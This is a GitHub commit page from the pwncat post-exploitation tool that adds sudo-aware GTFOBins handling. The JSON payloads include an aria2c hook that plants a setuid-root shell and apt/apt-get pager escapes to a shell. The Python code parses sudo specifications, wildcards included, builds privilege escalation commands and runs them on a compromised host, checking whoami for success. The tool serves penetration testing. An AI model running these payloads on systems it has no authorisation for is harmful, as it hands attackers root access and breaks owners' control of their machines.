1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added sudo awareness to gtfobins and updated privesc/sudo to understand the new interface. Sudo now supports wildcard listings and can intelligently parse whether a privesc is possible.

This commit is contained in:
Caleb Stewart 2020-05-09 15:02:04 -04:00
parent 1b54ade0fb
commit 068c55f868
4 changed files with 228 additions and 58 deletions

View File

@ -1,8 +1,10 @@
[ [
{ {
"name": "bash", "name": "bash",
"shell": "{sudo_prefix} {path} -p", "shell": {
"sudo": "{sudo_prefix} {command}", "script": "{command}",
"suid": ["-p"]
},
"read_file": "{path} -p -c \"cat {lfile}\"", "read_file": "{path} -p -c \"cat {lfile}\"",
"write_file": { "write_file": {
"type": "base64", "type": "base64",
@ -13,12 +15,7 @@
{ {
"name": "apt-get", "name": "apt-get",
"shell": { "shell": {
"enter": "{path} changelog apt", "need": ["changelog", "apt"],
"input": "!{shell}\n",
"exit": "exit\nq\n"
},
"sudo": {
"enter": "{sudo_prefix} {command} changelog apt",
"input": "!{shell}\n", "input": "!{shell}\n",
"exit": "exit\nq\n" "exit": "exit\nq\n"
} }
@ -26,19 +23,16 @@
{ {
"name": "apt", "name": "apt",
"shell": { "shell": {
"enter": "{path} changelog apt", "need": ["changelog", "apt"],
"input": "!{shell}\n",
"exit": "exit\nq\n"
},
"sudo": {
"enter": "{sudo_prefix} {command} changelog apt",
"input": "!{shell}\n", "input": "!{shell}\n",
"exit": "exit\nq\n" "exit": "exit\nq\n"
} }
}, },
{ {
"name": "aria2c", "name": "aria2c",
"shell": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {path} --on-download-error=$TF http://x; sleep 1; $SHELL -p", "shell": {
"sudo": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL\" > $TF;chmod +x $TF; {sudo_prefix} {command} --on-download-error=$TF http://x; sleep 1; $SHELL -p" "script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
"need": ["--on-download-error=$TF","http://x"]
}
} }
] ]

View File

@ -1,12 +1,17 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from typing import List, Dict, Any from typing import List, Dict, Any, Callable
from shlex import quote from shlex import quote
import binascii import binascii
import base64 import base64
import shlex
import json import json
import os import os
class SudoNotPossible(Exception):
""" Running the given binary to get a sudo shell is not possible """
class Binary: class Binary:
_binaries: List[Dict[str, Any]] = [] _binaries: List[Dict[str, Any]] = []
@ -17,7 +22,13 @@ class Binary:
self.data = data self.data = data
self.path = path self.path = path
def shell(self, shell_path: str, sudo_prefix="") -> str: def shell(
self,
shell_path: str,
sudo_prefix: str = None,
command: str = None,
suid: bool = False,
) -> str:
""" Build a a payload which will execute the binary and result in a """ Build a a payload which will execute the binary and result in a
shell. `path` should be the path to the shell you would like to run. In shell. `path` should be the path to the shell you would like to run. In
the case of GTFOBins that _are_ shells, this will likely be ignored, but the case of GTFOBins that _are_ shells, this will likely be ignored, but
@ -28,22 +39,132 @@ class Binary:
return None return None
if isinstance(self.data["shell"], str): if isinstance(self.data["shell"], str):
enter = self.data["shell"] script = self.data["shell"].format(shell=shell_path, command="{command}")
args = []
suid_args = []
exit = "exit" exit = "exit"
input = "" input = ""
else: else:
enter = self.data["shell"]["enter"] script = (
self.data["shell"]
.get("script", "{command}")
.format(shell=shell_path, command="{command}")
)
suid_args = self.data["shell"].get("suid", [])
args = [
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
]
exit = self.data["shell"].get("exit", "exit") exit = self.data["shell"].get("exit", "exit")
input = self.data["shell"].get("input", "input") input = self.data["shell"].get("input", "")
if suid:
suid_args.extend(args)
args = suid_args
if script == "":
script = "{command}"
if command is None:
command = shlex.join([self.path] + args)
if sudo_prefix is not None:
command = sudo_prefix + " " + command
return ( return (
enter.format( script.format(command=command),
path=quote(self.path), shell=quote(shell_path), sudo_prefix=sudo_prefix input.format(shell=shlex.quote(shell_path)),
),
input.format(shell=quote(shell_path)),
exit, exit,
) )
@property
def has_shell(self) -> bool:
""" Check if this binary has a shell method """
return "shell" in self.data
def can_sudo(self, command: str, shell_path: str) -> List[str]:
""" Checks if this command can be leveraged for a shell with sudo. The
GTFObin specification must include information on the sudo context. It
will check either:
* There are no parameters in the sudo specification, it succeeds.
* There are parameters, but ends in a start, we succeed (doesn't
guarantee successful shell, but is more likely)
* Parameters match exactly
"""
if not self.has_shell:
# We need to be able to run a shell
raise SudoNotPossible
# Split the sudo command specification
args = shlex.split(command.rstrip("*"))
# There was a " *" which is not a wildcard
if shlex.split(command)[-1] == "*":
has_wildcard = False
args.append("*")
elif command[-1] == "*":
has_wildcard = True
if isinstance(self.data["shell"], str):
need = [n.format(shell=shell_path) for n in shlex.split(self.data["shell"])]
restricted = []
else:
# Needed and restricted parameters
need = [
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
]
restricted = self.data["shell"].get("restricted", [])
# The sudo command is just "/path/to/binary", we are allowed to add any
# parameters we want.
if len(args) == 1 and command[-1] != " ":
return need
# Check for disallowed arguments
for arg in args:
if arg in restricted:
raise SudoNotPossible
# Check if we already have the parameters we need
needed = {k: False for k in need}
for arg in args:
if arg in needed:
needed[arg] = True
# Check if we have any missing needed parameters, and no wildcard
# was given
if any([not v for _, v in needed.items()]) and not has_wildcard:
raise SudoNotPossible
# Either we have all the arguments we need, or we have a wildcard
return [k for k, v in needed.items() if not v]
def sudo_shell(self, user: str, spec: str, shell_path: str) -> str:
""" Generate a payload to get a shell with sudo for this binary. This
can be complicated, since the sudo specification may include wildcards
or other parameters we don't want. We leverage the information in the
GTFObins JSON data to determine if it is possible (see `can_sudo`) and
then build a payload that should run under the given sudo specification.
"""
# If we can't this will raise an exception up to the caller
needed_args = self.can_sudo(spec, shell_path)
prefix = f"sudo -u {user}"
if spec.endswith("*") and not spec.endswith(" *"):
spec = spec.rstrip("*")
# There's more arguments we need, and we're allowed to pass them
if needed_args:
command = spec + " " + " ".join(needed_args)
else:
command = spec
command = prefix + " " + command
return self.shell(shell_path, command=command)
def sudo(self, sudo_prefix: str, command: str, shell_path: str) -> str: def sudo(self, sudo_prefix: str, command: str, shell_path: str) -> str:
""" Build a a payload which will execute the binary and result in a """ Build a a payload which will execute the binary and result in a
shell. `path` should be the path to the shell you would like to run. In shell. `path` should be the path to the shell you would like to run. In
@ -85,6 +206,11 @@ class Binary:
path=quote(self.path), lfile=quote(file_path) path=quote(self.path), lfile=quote(file_path)
) )
@property
def has_read_file(self):
""" Check if this binary has a read_file capability """
return "read_file" in self.data
def write_file(self, file_path: str, data: bytes) -> str: def write_file(self, file_path: str, data: bytes) -> str:
""" Build a payload to write the specified data into the file """ """ Build a payload to write the specified data into the file """
@ -109,6 +235,11 @@ class Binary:
data=quote(data.decode("utf-8")), data=quote(data.decode("utf-8")),
) )
@property
def has_write_file(self):
""" Check if this binary has a write_file capability """
return "write_file" in self.data
def command(self, command: str) -> str: def command(self, command: str) -> str:
""" Build a payload to execute the specified command """ """ Build a payload to execute the specified command """
@ -119,6 +250,11 @@ class Binary:
path=quote(self.path), command=quote(command) path=quote(self.path), command=quote(command)
) )
@property
def has_command(self):
""" Check if this binary has a command capability """
return "command" in self.data
@classmethod @classmethod
def load(cls, gtfo_path: str): def load(cls, gtfo_path: str):
with open(gtfo_path) as filp: with open(gtfo_path) as filp:
@ -137,3 +273,42 @@ class Binary:
return Binary(path, binary) return Binary(path, binary)
return None return None
@classmethod
def find_sudo(cls, spec: str, get_binary_path: Callable[[str], str]) -> "Binary":
""" Locate a GTFObin binary for the given sudo spec. This will separate
out the path of the binary from spec, and use `find` to locate a Binary
object. If that binary cannot be used with this spec or no binary exists,
SudoNotPossible is raised. shell_path is used as the default for specs
which specify "ALL". """
if spec == "ALL":
# If the spec specifies any command, we check each known gtfobins
# binary for one usable w/ this sudo spec. We use recursion here,
# but never more than a depth of one, so it should be safe.
for data in cls._binaries:
# Resolve the binary path from the name
path = get_binary_path(data["name"])
# This binary doens't exist on the system
if path is None:
continue
try:
# Recurse using the path as the new spec (won't recurse
# again since spec is now a full path)
return cls.find_sudo(path, get_binary_path)
except SudoNotPossible:
pass
raise SudoNotPossible("no available gtfobins for ALL")
path = shlex.split(spec)[0]
binary = cls.find(path)
if binary is None:
raise SudoNotPossible(f"no available gtfobins for {spec}")
# This will throw an exception if we can't sudo with this binary
_ = binary.can_sudo(spec, "")
return spec, binary

View File

@ -130,7 +130,7 @@ class SetuidMethod(Method):
""" Run the specified technique """ """ Run the specified technique """
binary = technique.ident binary = technique.ident
enter, exit = binary.shell("/bin/bash") enter, input, exit = binary.shell(self.pty.shell, suid=True)
info( info(
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}", f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
@ -140,8 +140,13 @@ class SetuidMethod(Method):
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0 before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
# Run the start commands # Run the start commands
self.pty.run(enter + "\n") self.pty.run(enter + "\n", wait=False)
self.pty.recvuntil("\n")
# Send required input
self.pty.client.send(input.encode("utf-8"))
# Wait for result
self.pty.run("echo")
# sleep(0.1) # sleep(0.1)
user = self.pty.run("whoami").strip().decode("utf-8") user = self.pty.run("whoami").strip().decode("utf-8")

View File

@ -182,17 +182,16 @@ class SudoMethod(Method):
if current_user["password"] is None and sudo_privesc["password"]: if current_user["password"] is None and sudo_privesc["password"]:
continue continue
if sudo_privesc["command"] == "ALL": try:
command_path = self.pty.shell # Locate a GTFObins binary which satisfies the given sudo spec.
else: # The PtyHandler.which method is used to verify the presence of
command_path = shlex.split(sudo_privesc["command"])[0] # different GTFObins on the remote system when an "ALL" spec is
# found.
binary = gtfobins.Binary.find(command_path) sudo_privesc["command"], binary = gtfobins.Binary.find_sudo(
if binary is None or binary.shell("") is None: sudo_privesc["command"], self.pty.which
continue )
if sudo_privesc["command"] == "ALL" and binary.shell("") is None: except gtfobins.SudoNotPossible:
continue # No GTFObins possible with this sudo spec
if sudo_privesc["command"] != "ALL" and binary.sudo("", "", "") is None:
continue continue
if sudo_privesc["run_as_user"] == "ALL": if sudo_privesc["run_as_user"] == "ALL":
@ -222,7 +221,7 @@ class SudoMethod(Method):
current_user = self.pty.current_user current_user = self.pty.current_user
binary, command, password_required = technique.ident binary, sudo_spec, password_required = technique.ident
info( info(
f"attempting potential privesc with sudo {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}", f"attempting potential privesc with sudo {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
@ -231,15 +230,11 @@ class SudoMethod(Method):
before_shell_level = self.pty.run("echo $SHLVL").strip() before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0 before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
sudo_prefix = f"sudo -u {technique.user} " shell_payload, input, exit = binary.sudo_shell(
if command == "ALL": technique.user, sudo_spec, self.pty.shell
)
shell_payload, input, exit = binary.shell( print(shell_payload)
self.pty.shell, sudo_prefix=sudo_prefix
)
else:
payload, input, exit = binary.sudo(sudo_prefix, command, self.pty.shell)
shell_payload = f" {payload}"
# Run the commands # Run the commands
self.pty.run(shell_payload + "\n", wait=False) self.pty.run(shell_payload + "\n", wait=False)
@ -250,23 +245,24 @@ class SudoMethod(Method):
# Provide stdin if needed # Provide stdin if needed
self.pty.client.send(input.encode("utf-8")) self.pty.client.send(input.encode("utf-8"))
# Give it a bit to let the shell start # Give it a bit to let the shell start. We considered a sleep here, but
# that was not consistent. This will utilizes the logic in `run` for
# waiting for the output of the command (`echo`), which waits the
# appropriate amount of time.
self.pty.run("echo") self.pty.run("echo")
user = self.pty.whoami() user = self.pty.whoami()
if user == technique.user: if user == technique.user:
success("privesc succeeded") success("privesc succeeded")
return exit return exit
else:
error(f"privesc failed (still {user} looking for {technique.user})")
after_shell_level = self.pty.run("echo $SHLVL").strip() error(f"privesc failed (still {user} looking for {technique.user})")
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
if after_shell_level > before_shell_level: after_shell_level = self.pty.run("echo $SHLVL").strip()
info("exiting spawned inner shell") after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0
self.pty.run(exit, wait=False) # here be dragons
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run(exit, wait=False) # here be dragons
raise PrivescError("failed to privesc") raise PrivescError("failed to privesc")